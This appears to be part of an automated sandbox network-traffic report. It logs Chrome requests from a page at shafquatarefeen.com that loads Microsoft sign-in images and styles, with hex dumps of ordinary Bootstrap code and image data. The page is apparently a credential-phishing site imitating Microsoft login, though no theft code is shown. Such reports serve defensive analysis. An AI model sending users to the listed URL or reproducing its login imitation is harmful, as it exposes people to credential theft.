61 2e 66 69 6e 64 28 22 2e 70 6f 70 6f 76 65 72 2d 74 69 74 6c 65 22 29 2e 68 69 64 65 28 29 7d 2c 63 2e 70 72 6f 74 6f 
74 79 70 65 2e 68 61 73 43 6f 6e 74 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 
67 65 74 54 69 74 6c 65 28 29 7c 7c 74 68 69 73 2e 67 65 74 43 6f 6e 74 65 6e 74 28 29 7d 2c 63 2e 70 72 6f 74 6f 74 79 
70 65 2e 67 65 74 43 6f 6e 74 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 24 65 6c 
65 6d 65 6e 74 2c 62 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3b 72 65 74 75 72 6e 20 61 2e 61 74 74 72 28 22 64 61 74 6
1 2d 63 6f 6e 74 65 6e 74 22 29 7c 7c 28 22 66 75 6e 63 74 69 6f 
Data Ascii: "),a.find(".popover-title").html()||a.find(".popover-title").hide()},c.prototype.hasContent=function(){return this.get
Title()||this.getContent()},c.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-con
tent")||("functio

2022-07-01 09:00:49 UTC 911 IN Data Raw: 65 74 73 3d 5b 5d 2c 74 68 69 73 2e 74 61 72 67 65 74 73 3d 5b 5d 2c 74 68 69 73 2e 73 63 72 6f 6c 6c 48 65 
69 67 68 74 3d 74 68 69 73 2e 67 65 74 53 63 72 6f 6c 6c 48 65 69 67 68 74 28 29 2c 61 2e 69 73 57 69 6e 64 6f 77 28 
74 68 69 73 2e 24 73 63 72 6f 6c 6c 45 6c 65 6d 65 6e 74 5b 30 5d 29 7c 7c 28 63 3d 22 70 6f 73 69 74 69 6f 6e 22 2c 64 
3d 74 68 69 73 2e 24 73 63 72 6f 6c 6c 45 6c 65 6d 65 6e 74 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 29 2c 74 68 69 73 2e 24 
62 6f 64 79 2e 66 69 6e 64 28 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 29 
7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 2c 65 3d 62 2e 64 61 74 61 28 22 74 61 72 67 65 74 22 29 7c 7c 62 2e 61 74 
74 72 28 22 68 72 65 66 22 29 2c 66 3d 2f 5e 23 2e 2f 2e 74 65 73 
Data Ascii: ets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),a.isWindow(this.$scrollElement[0])||(c="posi
tion",d=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map(function(){var b=a(this),e=b.data("target")|
|b.attr("href"),f=/^#./.tes

2022-07-01 09:00:49 UTC 912 IN Data Raw: 3d 62 2c 61 2e 66 6e 2e 73 63 72 6f 6c 6c 73 70 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 
6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 66 6e 2e 73 63 72 6f 6c 6c 73 70 79 3d 64 2c 74 68 69 73 7d 2c 61 28 77 69 6e 
64 6f 77 29 2e 6f 6e 28 22 6c 6f 61 64 2e 62 73 2e 73 63 72 6f 6c 6c 73 70 79 2e 64 61 74 61 2d 61 70 69 22 2c 66 75 6e 
63 74 69 6f 6e 28 29 7b 61 28 27 5b 64 61 74 61 2d 73 70 79 3d 22 73 63 72 6f 6c 6c 22 5d 27 29 2e 65 61 63 68 28 66 
75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 3b 63 2e 63 61 6c 6c 28 62 2c 62 2e 64 61 74 61 2
8 29 29 7d 29 7d 29 7d 28 6a 51 75 65 72 79 29 2c 2b 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 75 73 65 20 73 74 72 69 
63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 72 65 74 75 72 
Data Ascii: =b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=d,this},a(window).on("load.bs.scrollspy.data-a
pi",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);c.call(b,b.data())})})}(jQuery),+function(a){"use strict";fu
nction b(b){retur

2022-07-01 09:00:49 UTC 914 IN Data Raw: 64 65 22 29 2c 62 2e 70 61 72 65 6e 74 28 22 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 29 2e 6c 65 6e 67 
74 68 26 26 62 2e 63 6c 6f 73 65 73 74 28 22 6c 69 2e 64 72 6f 70 64 6f 77 6e 22 29 2e 61 64 64 43 6c 61 73 73 28 22 61 
63 74 69 76 65 22 29 2e 65 6e 64 28 29 2e 66 69 6e 64 28 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 74 61 62 22 5d 
27 29 2e 61 74 74 72 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2c 21 30 29 2c 65 26 26 65 28 29 7d 76 61 72 20 
67 3d 64 2e 66 69 6e 64 28 22 3e 20 2e 61 63 74 69 76 65 22 29 2c 68 3d 65 26 26 61 2e 73 75 70 70 6f 72 74 2e 74 72 
61 6e 73 69 74 69 6f 6e 26 26 28 67 2e 6c 65 6e 67 74 68 26 26 67 2e 68 61 73 43 6c 61 73 73 28 22 66 61 64 65 22 29 
7c 7c 21 21 64 2e 66 69 6e 64 28 22 3e 20 2e 66 61 64 65 22 29 2e 6c 
Data Ascii: de"),b.parent(".dropdown-menu").length&&b.closest("li.dropdown").addClass("active").end().find('[data-toggle
="tab"]').attr("aria-expanded",!0),e&&e()}var g=d.find("> .active"),h=e&&a.support.transition&&(g.length&&g.hasClass("fa
de")||!!d.find("> .fade").l

2022-07-01 09:00:49 UTC 915 IN Data Raw: 66 73 65 74 28 29 2c 67 3d 74 68 69 73 2e 24 74 61 72 67 65 74 2e 68 65 69 67 68 74 28 29 3b 69 66 28 6e 
75 6c 6c 21 3d 63 26 26 22 74 6f 70 22 3d 3d 74 68 69 73 2e 61 66 66 69 78 65 64 29 72 65 74 75 72 6e 20 65 3c 63 26 
26 22 74 6f 70 22 3b 69 66 28 22 62 6f 74 74 6f 6d 22 3d 3d 74 68 69 73 2e 61 66 66 69 78 65 64 29 72 65 74 75 72 6e 2
0 6e 75 6c 6c 21 3d 63 3f 21 28 65 2b 74 68 69 73 2e 75 6e 70 69 6e 3c 3d 66 2e 74 6f 70 29 26 26 22 62 6f 74 74 6f 6d 2
2 3a 21 28 65 2b 67 3c 3d 61 2d 64 29 26 26 22 62 6f 74 74 6f 6d 22 3b 76 61 72 20 68 3d 6e 75 6c 6c 3d 3d 74 68 69 73 
2e 61 66 66 69 78 65 64 2c 69 3d 68 3f 65 3a 66 2e 74 6f 70 2c 6a 3d 68 3f 67 3a 62 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 
21 3d 63 26 26 65 3c 3d 63 3f 22 74 6f 70 22 3a 6e 75 6c 6c 21 3d 
Data Ascii: fset(),g=this.$target.height();if(null!=c&&"top"==this.affixed)return e<c&&"top";if("bottom"==this.affixed)return 
null!=c?!(e+this.unpin<=f.top)&&"bottom":!(e+g<=a-d)&&"bottom";var h=null==this.affixed,i=h?e:f.top,j=h?g:b;return 
null!=c&&e<=c?"top":null!=

2022-07-01 09:00:49 UTC 916 IN Data Raw: 66 69 78 3d 62 2c 61 2e 66 6e 2e 61 66 66 69 78 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 63 2c 61 2e 66 6e 2e 
61 66 66 69 78 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 66 6e 
2e 61 66 66 69 78 3d 64 2c 74 68 69 73 7d 2c 61 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 22 6c 6f 61 64 22 2c 66 75 6e 63 74 
69 6f 6e 28 29 7b 61 28 27 5b 64 61 74 61 2d 73 70 79 3d 22 61 66 66 69 78 22 5d 27 29 2e 65 61 63 68 28 66 75 6e 63 
74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 61 28 74 68 69 73 29 2c 64 3d 63 2e 64 61 74 61 28 29 3b 64 2e 6f 66 66 73 65 7
4 3d 64 2e 6f 66 66 73 65 74 7c 7c 7b 7d 2c 6e 75 6c 6c 21 3d 64 2e 6f 66 66 73 65 74 42 6f 74 74 6f 6d 26 26 28 64 2e 6
f 66 66 73 65 74 2e 62 6f 74 74 6f 6d 3d 64 2e 6f 66 66 73 65 74 
Data Ascii: fix=b,a.fn.affix.Constructor=c,a.fn.affix.noConflict=function(){return a.fn.affix=d,this},a(window).on("load
",function(){a('[data-spy="affix"]').each(function(){var c=a(this),d=c.data();d.offset=d.offset||{},null!=d.offsetBottom&&
(d.offset.bottom=d.offset

2022-07-01 09:00:49 UTC 917 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

54 192.168.2.5 49799 51.210.32.132 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:49 UTC 917 OUT GET /phX2vBj/0-a5dbd4393ff6a725c7e62b61df7e72f0.jpg HTTP/1.1
Host: i.ibb.co
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://shafquatarefeen.com/uhg.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

55 51.210.32.132 443 192.168.2.5 49799 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:49 UTC 917 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Fri, 01 Jul 2022 09:00:49 GMT
Content-Type: image/png
Content-Length: 1031
Connection: close

2022-07-01 09:00:49 UTC 917 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b4 00 00 00 b4 04 03 00 00 00 cf e3 1b 01 00 00 
00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 30 50 4c 54 45 26 a9 e2 ff ff ff 
df fc ff 26 bd f2 26 a9 e9 9c f0 ff df d8 e9 51 aa e3 ff f1 f3 ff e3 ec be fa ff be ca e5 51 d0 f8 9c bb e3 77 ad e3 77 e0 fc 4a 
4b 7f 56 00 00 03 75 49 44 41 54 68 de ed 98 3f 6b db 40 14 c0 0f 4e a3 c0 bc 40 c5 b9 c2 86 f3 1a 5a 90 a1 14 02 a5 5d 
b4 88 40 70 3f 81 a0 43 a0 43 11 6d c6 4c 5d 3c a4 2d da 32 5f c7 4e 6e 3f 40 8b 32 66 d2 37 88 3e 40 28 c8 1f a0 f4 bd 
93 1c d4 60 2b b2 89 a0 2d ef 47 a4 e8 df fd 74 7a 7a 77 d6 9d 10 0c c3 30 0c c3 30 0c c3 30 0c c3 30 0c f3 6f 23 7f f6 a6 
9e 42 bc ee 86 da 6b 39 db 91 00 d2 be d4 a1 
Data Ascii: PNGIHDRgAMAasRGB0PLTE&&&QQwwJKVuIDATh?k@N@Z]@p?CCmL]<-2_Nn?@2f7>@(`+-Gtzzw0000
o#Bk9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

56 192.168.2.5 49782 192.154.231.67 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:50 UTC 918 OUT GET /favicon.ico HTTP/1.1
Host: shafquatarefeen.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://shafquatarefeen.com/uhg.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

57 192.168.2.5 49802 152.199.23.37 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:50 UTC 919 OUT GET /shared/1.0/content/images/backgrounds/2-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1
Host: aadcdn.msftauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.9,*/*;q=0.8
Purpose: prefetch
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Referer: https://login.microsoftonline.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

58 192.168.2.5 49806 152.199.23.37 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:50 UTC 919 OUT GET /shared/1.0/content/images/backgrounds/2_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1
Host: aadcdn.msftauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.9,*/*;q=0.8
Purpose: prefetch
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Referer: https://login.microsoftonline.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

59 192.168.2.5 49803 152.199.23.37 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:50 UTC 920 OUT GET /ests/2.1/content/images/microsoft_logo.png HTTP/1.1
Host: aadcdn.msftauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.9,*/*;q=0.8
Purpose: prefetch
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Referer: https://login.microsoftonline.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

6 192.168.2.5 49734 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:34 UTC 73 OUT GET /image/apps.2052.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.a0c3decd-308f-4f06-bcfb-2
aa4f3afe248?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-07-01 09:00:34 UTC 73 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 4765
Content-Type: image/png
Last-Modified: Wed, 04 Mar 2020 18:13:05 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdDMDY3QUY0QThGRjc"
MS-CV: 0gdTj9M+eE6j3uUJ.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:34 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:34 UTC 74 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
12 64 49 44 41 54 78 5e ec d4 41 0d 00 20 10 03 b0 1d c1 bf e5 a1 81 e7 25 ad 88 4e db 6c 00 70 f2 0b 40 58 00 c2 02 
84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 08 0b 40 58 00 c2 02 84 05 20 2c 00 61 01 
c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 08 0b 10 16 80 b0 00 
84 05 08 0b 40 58 00 c2 02 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 08 0b 10 16 80 b0 00 84 05 08 0b 40 58 00 
c2 02 84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 
61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 
Data Ascii: PNGIHDR,,y}udIDATx^A %Nlp@X ,aa@X@X ,aa@X ,@X ,a@X ,@X ,a@X ,aa@X ,@X ,aa@X ,@X

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

60 192.168.2.5 49805 152.199.23.37 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:50 UTC 920 OUT GET /shared/1.0/content/images/work_account_1963c6b1926b773986f53f844ce4c32e.png HTTP/1.1
Host: aadcdn.msftauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.9,*/*;q=0.8
Purpose: prefetch
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Referer: https://login.microsoftonline.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

61 192.168.2.5 49804 152.199.23.37 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:50 UTC 921 OUT GET /shared/1.0/content/images/personal_account_0f72b5950600f24e7f9a604b186f3945.png HTTP/1.1
Host: aadcdn.msftauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.9,*/*;q=0.8
Purpose: prefetch
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Referer: https://login.microsoftonline.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

62 192.168.2.5 49807 152.199.23.37 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:50 UTC 921 OUT GET /ests/2.1/content/cdnbundles/converged.v2.login.min_ziytf8dzt9eg1s6-ohhleg2.css HTTP/1.1
Host: aadcdn.msftauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.9,*/*;q=0.8
Purpose: prefetch
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Referer: https://login.microsoftonline.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

63 152.199.23.37 443 192.168.2.5 49806 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:50 UTC 922 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding
Age: 2186044
Cache-Control: public, max-age=31536000
Content-MD5: eRaolOvefSnCzCmyZ/Epnw==
Content-Type: image/jpeg
Date: Fri, 01 Jul 2022 09:00:50 GMT
Etag: 0x8D7B007294E20F8
Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT
Server: ECAcc (frc/8F89)
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: e0990474-e01e-0018-4f47-794682000000
x-ms-version: 2009-09-19
Content-Length: 17453
Connection: close

2022-07-01 09:00:50 UTC 922 IN Data Raw: ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 
70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 
4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 
73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 
34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 
20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6
f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 
Data Ascii: Phttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x
="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39        "> <rdf:RDF xmlns:rdf
="http://www.w3.org/1999/02/22-rdf-syn

2022-07-01 09:00:50 UTC 938 IN Data Raw: 00 02 80 a8 22 80 88 a0 2a 28 00 02 00 28 20 a2 08 28 08 00 02 88 00 0a 82 80 8a 00 00 8a 00 00 08 00 00 
02 00 00 00 0a 00 a8 a8 a0 82 a2 00 00 00 8a 00 a0 02 00 02 80 20 00 00 00 00 80 00 00 22 a0 a0 20 00 2a 2a 00 02 8a 
80 8a 20 82 88 00 00 00 0a 00 a0 00 00 08 02 a8 8a 02 00 28 00 80 02 80 02 00 00 02 82 2a 28 00 02 80 00 00 8a 00 02 
80 00 00 20 02 80 00 ff d4 db c5 46 dc c0 00 45 14 40 00 00 00 01 05 40 40 00 00 00 00 54 00 d4 51 51 05 88 00 00 00 
00 00 00 00 00 90 8a 03 91 d2 40 41 61 00 08 00 20 a2 80 20 00 00 00 02 28 00 00 00 0a 08 a0 80 00 00 00 00 00 00 00 
00 0a 00 00 00 0a 02 0b 04 00 05 05 40 05 01 14 00 01 00 50 04 00 00 01 51 41 05 11 40 04 00 45 51 14 01 14 00 10 00 
00 00 00 40 00 50 00 00 05 10 41 44 01 40 00 04 05 45 14 00 11 40 10 51 15 
Data Ascii: "*(( ( " ** (*( FE@@@TQQ@Aa  (@PQA@EQ@PAD@E@Q

Session ID Source IP Source Port Destination IP
Destination
Port

Process

64 152.199.23.37 443 192.168.2.5 49802 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:50 UTC 940 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ET
ag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 7642001
Cache-Control: public, max-age=31536000
Content-MD5: 5YqvyYBhSpzXeWvqe16o8A==
Content-Type: image/jpeg
Date: Fri, 01 Jul 2022 09:00:50 GMT
Etag: 0x8D7B007295267C8
Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT
Server: ECAcc (frc/8F9C)
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: e7b052ec-201e-0093-7da8-476a88000000
x-ms-version: 2009-09-19
Content-Length: 987
Connection: close

2022-07-01 09:00:50 UTC 940 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 
00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 
00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 
6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 0
3 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 
0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 
0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 
Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9CC

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

65 152.199.23.37 443 192.168.2.5 49804 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:50 UTC 941 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding
Age: 2019819
Cache-Control: public, max-age=31536000
Content-MD5: D3K1lQYA8k5/mmBLGG85RQ==
Content-Type: image/png
Date: Fri, 01 Jul 2022 09:00:50 GMT
Etag: 0x8D79A1B9F5B2B36
Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT
Server: ECAcc (frc/8F8E)
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 06335f72-c01e-004f-32ca-7a1dc4000000
x-ms-version: 2009-09-19
Content-Length: 1335
Connection: close

2022-07-01 09:00:50 UTC 942 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 33 00 00 00 33 08 06 00 00 00 3a a1 30 2a 00 00 
00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 
62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 04 c4 49 44 41 54 78 da cc 9a 4d 68 13 41 14 c7 27 69 a1 16 
c1 a6 15 0a 55 a4 29 ed 41 68 a1 7b d0 8b a0 59 2f 5e 13 4f 7a eb f6 a8 97 a6 e8 dd f4 2e 65 7b d1 63 d3 9b 37 b7 47 3d 
a5 8a 5e 2a 98 42 7b b3 98 28 56 a8 98 26 42 b1 05 a5 be 17 67 36 b3 eb ee 66 66 76 ba e6 c1 b0 21 64 37 f3 db f7 f5 9f 
d9 4d 9d 9c 9c 10 5d 96 7a f8 36 0b 07 83 8e 2c 1d bc 35 61 54 61 d4 f0 78 f2 f8 5a 95 68 b4 54 5c 18 00 28 c0 01 87 09 
63 5c f2 f4 16 8c 0a 0c 07 07 c0 35 13 87 01 80 0c 1c 2c 18 45 05 
Data Ascii: PNGIHDR33:0*pHYstEXtSoftwareAdobe ImageReadyqe<IDATxMhA'iU)Ah{Y/^Oz.e{c7G=^*B{(V&Bg6ffv!
d7M]z6,5aTaxZhT\(c\5,E

Session ID Source IP Source Port Destination IP
Destination
Port

Process

66 152.199.23.37 443 192.168.2.5 49805 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:50 UTC 943 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ET
ag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 31020226
Cache-Control: public, max-age=31536000
Content-MD5: GWPGsZJrdzmG9T+ETOTDLg==
Content-Type: image/png
Date: Fri, 01 Jul 2022 09:00:50 GMT
Etag: 0x8D79A1BA1ED720E
Last-Modified: Thu, 16 Jan 2020 00:32:56 GMT
Server: ECAcc (frc/8FDA)
